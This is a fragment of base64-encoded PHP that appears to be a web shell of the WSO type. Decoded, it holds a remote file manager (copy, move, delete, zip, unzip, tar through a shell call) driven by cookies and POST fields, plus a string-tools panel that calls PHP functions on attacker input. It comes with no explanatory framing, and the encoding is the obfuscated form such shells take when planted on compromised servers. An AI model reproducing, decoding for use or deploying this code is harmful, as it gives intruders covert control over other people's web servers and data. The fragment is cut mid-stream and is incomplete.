nJlYWs7DQogICAgICAgICAgICBjYXNlICdwYXN0ZSc6DQogICAgICAgICAgICAgICAgaWYoJF9DT09LSUVbJ2FjdCddID09ICdjb3B5Jykgew0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEBvcGVuZGlyKCRjLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJF9DT09LSUVbJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ21vdmUnKSB7DQogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQG9wZW5kaXIoJGMuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKEBpc19maWxlKCRjLiRzKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgIEByZW5hbWUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR6aXAtPm9wZW4oJF9QT1NUWydwMiddLCAxKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfQ09PS0lFWydjJ10uJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0%2BYWRkRmlsZSgkX0NPT0tJRVsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0%2BY2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndW56aXAnKSB7DQogICAgICAgICAgICAgICAgICAgIGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9DT09LSUVbJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0%2BZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd0YXInKSB7DQogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAkX0NPT0tJRVsnZiddID0gYXJyYXlfbWFwKCdlc2NhcGVzaGVsbGFyZycsICRfQ09PS0lFWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICBleCgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVFsncDInXSkgLiAnICcgLiBpbXBsb2RlKCcgJywgJF9DT09LSUVbJ2YnXSkpOw0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB1bnNldCgkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICBzZXRjb29raWUoJ2YnLCAnJywgdGltZSgpIC0gMzYwMCk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgICAgICAgICAgICAgIHByb3RvdHlwZSgnYWN0JywgJF9QT1NUWydwMSddKTsNCiAgICAgICAgICAgICAgICAgICAgcHJvdG90eXBlKCdmJywgc2VyaWFsaXplKEAkX1BPU1RbJ2YnXSkpOw0KICAgICAgICAgICAgICAgICAgICBwcm90b3R5cGUoJ2MnLCBAJF9QT1NUWydjJ10pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBoYXJkSGVhZGVyKCk7DQogICAgZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE%2BPGRpdiBjbGFzcz1jb250ZW50PjxzY3JpcHQ%2BcDFfPXAyXz1wM189IiI7PC9zY3JpcHQ%2BJzsNCiAgICAkZGlyQ29udGVudCA9IGhhcmRTY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOw0KICAgIGlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgeyBlY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnO2hhcmRGb290ZXIoKTsgcmV0dXJuOyB9DQogICAgZ2xvYmFsICRzb3J0Ow0KICAgICRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsNCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KICAgICAgICBpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkNCiAgICAgICAgICAgICRzb3J0ID0gYXJyYXkoJG1hdGNoWzFdLCAoaW50KSRtYXRjaFsyXSk7DQogICAgfQ0KZWNobyAiPHNjcmlwdD4NCiAgICBmdW5jdGlvbiBzYSgpIHsNCiAgICAgICAgZm9yKGk9MDtpPGQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykNCiAgICAgICAgICAgIGlmKGQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSAnY2hlY2tib3gnKQ0KICAgICAgICAgICAgICAgIGQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDsNCiAgICB9DQo8L3NjcmlwdD4NCjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic%2BDQo8Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg%2BPHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNvcnRbMV0%2FMDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg%2BPHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3NpemVfIi4oJHNvcnRbMV0%2FMDoxKS4iXCIpJz5TaXplPC9hPjwvdGg%2BPHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg%2BPHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc%2BUGVybWlzc2lvbnM8L2E%2BPC90aD48dGg%2BQWN0aW9uczwvdGg%2BPC90cj4iOw0KICAgICRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsNCiAgICAkbiA9IGNvdW50KCRkaXJDb250ZW50KTsNCiAgICBmb3IoJGk9MDskaTwkbjskaSsrKSB7DQogICAgICAgICRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOw0KICAgICAgICAkZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsNCiAgICAgICAgJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVudFskaV0sDQogICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwNCiAgICAgICAgICAgICAgICAgICAgICdtb2RpZnknID0%2BIGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSwNCiAgICAgICAgICAgICAgICAgICAgICdwZXJtcycgPT4gdmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwNCiAgICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksDQogICAgICAgICAgICAgICAgICAgICAnb3duZXInID0%2BICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwNCiAgICAgICAgICAgICAgICAgICAgICdncm91cCcgPT4gJGdyWyduYW1lJ10%2FJGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgIGlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQogICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsNCiAgICAgICAgZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQogICAgICAgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0%2BICdsaW5rJywgJ2xpbmsnID0%2BIHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsNCiAgICAgICAgZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQ0KICAgICAgICAgICAgJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOw0KICAgIH0NCiAgICAkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7DQogICAgZnVuY3Rpb24gY21wKCRhLCAkYikgew0KICAgICAgICBpZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykNCiAgICAgICAgICAgIHJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCiAgICB9DQogICAgdXNvcnQoJGZpbGVzLCAiY21wIik7DQogICAgdXNvcnQoJGRpcnMsICJjbXAiKTsNCiAgICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsNCiAgICAkbCA9IDA7DQogICAgZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsNCiAgICAgICAgZWNobyAnPHRyJy4oJGw%2FJyBjbGFzcz1sMSc6JycpLic%2BPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ%2BPHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiICcgLiAoZW1wdHkgKCRmWydsaW5rJ10pID8gJycgOiAidGl0bGU9J3skZlsnbGluayddfSciKSAuICc%2BPGI%2BWyAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgXTwvYj4nKS4nPC9hPjwvdGQ%2BPHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ%2BJy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ%2BPHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI%2BJy4kZlsncGVybXMnXQ0KICAgICAgICAgICAgLic8L3RkPjx0ZD48YSBjbGFzcz0idG9vbHRpcCIgZGF0YS10b29sdGlwPSJSZW5hbWUiIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiPlI8L2E%2BIDxhIGNsYXNzPSJ0b29sdGlwIiBkYXRhLXRvb2x0aXA9IlRvdWNoIiBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E%2BJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk%2FJyA8YSBjbGFzcz0idG9vbHRpcCIgZGF0YS10b29sdGlwPSJGcmFtZSIgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2ZyYW1lXCcpIj5GPC9hPiA8YSBjbGFzcz0idG9vbHRpcCIgZGF0YS10b29sdGlwPSJFZGl0IiBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI%2BRTwvYT4gPGEgY2xhc3M9InRvb2x0aXAiIGRhdGEtdG9vbHRpcD0iRG93bmxvYWQiIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI%2BRDwvYT4nOicnKS4nPC90ZD48L3RyPic7DQogICAgICAgICRsID0gJGw%2FMDoxOw0KICAgIH0NCiAgICBlY2hvICI8dHIgaWQ9ZmFrPjx0ZCBjb2xzcGFuPTc%2BDQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9bmUgdmFsdWU9Jyc%2BDQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk%2FJF9QT1NUWydjaGFyc2V0J106JycpLiInPg0KICAgIDxsYWJlbD48c2VsZWN0IG5hbWU9J3AxJz4iOw0KICAgIGlmKCFlbXB0eSgkX0NPT0tJRVsnYWN0J10pICYmIEBjb3VudCgkX0NPT0tJRVsnZiddKSkNCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ncGFzdGUnPuKGsyBQYXN0ZTwvb3B0aW9uPiI7DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nY29weSc%2BQ29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3ppcCc%2BKyB6aXA8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc%2BLSB6aXA8L29wdGlvbj4iOw0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Rhcic%2BKyB0YXIuZ3o8L29wdGlvbj4iOw0KICAgIGVjaG8gIjwvc2VsZWN0PjwvbGFiZWw%2BIjsNCiAgICBpZighZW1wdHkoJF9DT09LSUVbJ2FjdCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkgJiYgKCgkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHx8ICgkX0NPT0tJRVsnYWN0J10gPT0gJ3RhcicpKSkNCiAgICAgICAgZWNobyAiJm5ic3A7ZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9J2hhcmRfIiAuIGRhdGUoIlltZF9IaXMiKSAuICIuIiAuICgkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCc%2FJ3ppcCc6J3Rhci5neicpIC4gIic%2BJm5ic3A7IjsNCiAgICBlY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nc3VibWl0JyBzdHlsZT0nbWFyZ2luLWxlZnQ6MTBweCc%2BPC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7DQogICAgaGFyZEZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0NCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdiaW5oZXgnKSkge2Z1bmN0aW9uIGJpbmhleCgkcCkge3JldHVybiBkZWNoZXgoYmluZGVjKCRwKSk7fX0NCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQ0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBzcHJpbnRmKCclMDJYJyxvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0NCiAgICAkc3RyaW5nVG9vbHMgPSBhcnJheSgNCiAgICAgICAgJ0Jhc2U2NCBlbmNvZGUnID0%2BICdiYXNlNjRfZW5jb2RlJywNCiAgICAgICAgJ0Jhc2U2NCBkZWNvZGUnID0%2BICdiYXNlNjRfZGVjb2RlJywNCiAgICAgICAgJ1VybCBlbmNvZGUnID0%2BICd1cmxlbmNvZGUnLA0KICAgICAgICAnVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsDQogICAgICAgICdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywNCiAgICAgICAgJ21kNSBoYXNoJyA9PiAnbWQ1JywNCiAgICAgICAgJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLA0KICAgICAgICAnY3J5cHQnID0%2BICdjcnlwdCcsDQogICAgICAgICdDUkMzMicgPT4gJ2NyYzMyJywNCiAgICAgICAgJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsDQogICAgICAgICdIRVggdG8gQVNDSUknID0%2BICdoZXgyYXNjaWknLA0KICAgICAgICAnSEVYIHRvIERFQycgPT4gJ2hleGRlYycsDQogICAgICAgICdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsDQogICAgICAgICdERUMgdG8gSEVYJyA9PiAnZGVjaGV4JywNCiAgICAgICAgJ0RFQyB0byBCSU4nID0%2BICdkZWNiaW4nLA0KICAgICAgICAnQklOIHRvIEhFWCcgPT4gJ2JpbmhleCcsDQogICAgICAgICdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywNCiAgICAgICAgJ1N0cmluZyB0byBsb3dlciBjYXNlJyA9PiAnc3RydG9sb3dlcicsDQogICAgICAgICdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLA0KICAgICAgICAnSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcGVjaWFsY2hhcnMnLA0KICAgICAgICAnU3RyaW5nIGxlbmd0aCcgPT4gJ3N0cmxlbicsDQogICAgKTsNCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCiAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgdHJ1ZSk7DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIGlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSkNCiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7DQogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICBwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCAwKTsNCiAgICBoYXJkSGVhZGVyKCk7DQogICAgZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE%2BPGRpdiBjbGFzcz1jb250ZW50Pic7DQogICAgZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48bGFiZWw%2BPHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOw0KICAgIGZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0%2BICR2KQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7DQogICAgICAgIGVjaG8gIjwvc2VsZWN0PjwvbGFiZWw%2BPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J3N1Ym1pdCcvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLihAJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI%2BIHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLihlbXB0eSgkX1B